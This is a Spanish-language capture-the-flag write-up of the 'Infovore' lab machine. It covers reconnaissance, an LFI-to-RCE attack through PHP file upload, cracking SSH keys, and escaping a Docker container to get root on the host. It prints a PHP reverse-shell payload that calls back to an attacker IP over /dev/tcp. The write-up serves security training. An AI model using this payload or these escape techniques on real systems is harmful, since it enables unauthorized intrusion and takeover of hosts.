Description: This is an easy to intermediate box that shows you how you can exploit innocent looking php functions and lazy sys admins. There are 4 flags in total to be found, and you will have to think outside the box and try alternative ways to achieve your goal of capturing all flags.
Máquina Infovore
Reconocimiento
- Identificamos el Target y escaneamos los puertos abiertos.
- Realizamos el escaneo de los principales scripts y versiones de nmap.
De esta manera empezaremos buscando las principales tecnologias web.
Realizaremos un fuzzing, pero no tenemos éxito.
- Analizamos con wig
Enumeración
De esta manera ingresamos a la ruta. Revisaremos por funciones deshabilitados y file_upload.
Entonces verificamos que esta pagina interpretaría cualquier función en php, ademas de un posible file_uploads activado, pero para esto debemos saber donde subir el archivo.
Explotación
- LFI2RCE Simulamos una File Upload boundary De esta manera tenemos una respuesta exitosa, donde se crea el archivo mencionado y se carga en la ruta temporal que se muestra en la Respuesta.
Entonces para poder ingresar un archivo que haga un RCE, primero debemos identificar la ruta donde introducirlo.
- Encontrar un LFI, fuzzeando parámetro Normalmente en una web, la pagina principal suele ser un recurso index. , como tecnologia usa php, entonces tendra como recurso:
Entonces, para aplicar un LFI , debemos encontrar aquel parámetro que nos permita buscar la ruta donde aplicar el RCE. Para ello realizamos un fuzzeo a este parámetro mencionado. Para el primer fuzzing, detectamos respuestas con 136L
Filtramos por ello y realizamos nuevamente el fuzzing, imaginando que deseamos acceder a /etc/passwd.
- Script modificamos los campos.
1
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.65.139/443 0>&1'");?>
Cambiamos la ruta del método POST y GET . Además cambiamos los [tmp_name] , que es el resultado del Response en burpsuite.
De esta manera:
Tendremos en cuenta que es un Docker, ya que no es la IP de la PC auditada. ![[IMAGES/Infovore/access.png]]
Persistencia
- Enumeración manual o LinPEAS
Buscando elementos importantes y permisos, encontramos un archivo con un nombre que suponemos tiene keys ssh
- Verificar Segmento IP
- Comprobar port 22 expuesto
Nos copiamos el archivo a un archivo que tengamos permisos /tmp y verificamos que tipo de comprimido es.
1
file .olkeys.tgz
Tenemos 2 llaves, utilizaremos la privada.
- Crackear key encriptada
- Reutilizamos esta passwd
- Flag para root
- Escapamos del contenedor Pero como ya sabemos estamos dentro de un contenedor, por que estamos bajo un segmento de Red diferente. De esta manera si buscamos escapar de este, pero no encontramos ningún deamon de docker. Pero en la misma carpeta root, encontramos Keys ssh , en la cual vemos una conexion con un usuario admin, con un segmento de Red que pertenece a la Maquina host.
Entonces nos conectamos por ssh, de igual manera aprovechamos la hash crackeada anteriormente para ingresar
- Utilizamos la imagen para desplegar una montura
De esta manera utilizaremos la imagen de este Docker para crear una montura de la carpeta /root de la Maquina Host real.
- Ejecutar contenedor
- Asignar Suid bash Pero de igual manera, lo anterior es util para un CTF, que ta si queremos realmente acceso como root de la Maquina host?
- You are Root